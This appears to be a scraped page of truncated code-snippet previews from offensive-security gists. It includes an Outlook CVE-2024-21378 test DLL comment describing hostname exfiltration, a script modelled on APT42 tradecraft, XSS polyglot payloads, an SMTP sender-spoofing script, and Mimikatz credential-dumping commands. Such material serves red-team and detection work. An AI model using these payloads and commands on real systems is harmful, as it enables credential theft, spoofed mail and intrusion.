The most difficult challenge with RMM detection is contextual awareness around usage to determine if it is valid or malicious.
| #!/usr/bin/env python | |
| import os | |
| import urllib2 | |
| import json | |
| import subprocess | |
| user=None | |
| repo=None |
| import csv | |
| import requests | |
| import argparse | |
| from bs4 import BeautifulSoup | |
| from colorama import Fore, Style, init | |
| init(autoreset=True) | |
| known_security_vendors = [ | |
| 'symantec', 'mcafee', 'trendmicro', 'kaspersky', 'bitdefender', |
| /** | |
| * This DLL is designed for use in conjunction with the Ruler tool for | |
| * security testing related to the CVE-2024-21378 vulnerability, | |
| * specifically targeting MS Outlook. | |
| * | |
| * It can be used with the following command line syntax: | |
| * ruler [auth-params] form add-com [attack-params] --dll ./test.dll | |
| * Ruler repository: https://github.com/NetSPI/ruler/tree/com-forms (com-forms branch). | |
| * | |
| * After being loaded into MS Outlook, it sends the PC's hostname and |
| # https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations/ | |
| import argparse | |
| import random | |
| import win32com.client | |
| def insert_digit(word, digit): | |
| pos = random.randint(1, len(word) - 1) | |
| return word[:pos] + digit + word[pos:] | |
| def generate_command(url, file_path): |
| 0-mail.com | |
| 007addict.com | |
| 020.co.uk | |
| 027168.com | |
| 0815.ru | |
| 0815.su | |
| 0clickemail.com | |
| 0sg.net | |
| 0wnd.net | |
| 0wnd.org |
| javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> | |
| javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> | |
| javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> | |
| javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` | |
| javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">` | |
| javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script> | |
| javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> | |
| javascript:`</template>\"///"//< |
| title description category | |
| KERNEL32.DLL!TerminateJobObject This function terminates all processes associated with a job- managing processes and threads. Process and Thread Management | |
| RPCRT4.DLL!NdrServerCall2 Facilitates remote procedure calls (RPC) but is not user-invoked. Network Operations | |
| SHLWAPI.DLL!StrCSpnW Searches a string for specific characters- providing their index. Involves string manipulation rather than file or network processes. Memory Management | |
| GDI32FULL.DLL!UpdateColors Updates the client area of a device context by remapping current colors to the logical palette. System Information and Control | |
| RPCRT4.DLL!IUnknown_AddRef_Proxy Implements the AddRef method for interface proxies- managing reference counting in COM. Process and Thread Management | |
| ADVAPI32.DLL!RegEnumKeyW Enumerates subkeys of an open registry key- indicating direct registry manipulation. Registry Operations | |
| SECHOST.DLL!CredDeleteA Deletes a credential from the user's credential set- modifying stored authentication data. |
| from socket import * | |
| mail_server = ("tantotesting.mail.protection.outlook.com", 25) | |
| client_socket = socket(AF_INET, SOCK_STREAM) | |
| helo = "helo tantomail.com" | |
| mail_from = "mail from: <[email protected]>" | |
| rcpt_to = "rcpt to: <[email protected]>" | |
| mail = """from: \x1f <,><[email protected]>\r | |
| sender: "James Bond" <[email protected]>\r |
| #general | |
| privilege::debug | |
| log | |
| log customlogfilename.log | |
| #sekurlsa | |
| sekurlsa::logonpasswords | |
| sekurlsa::logonPasswords full |
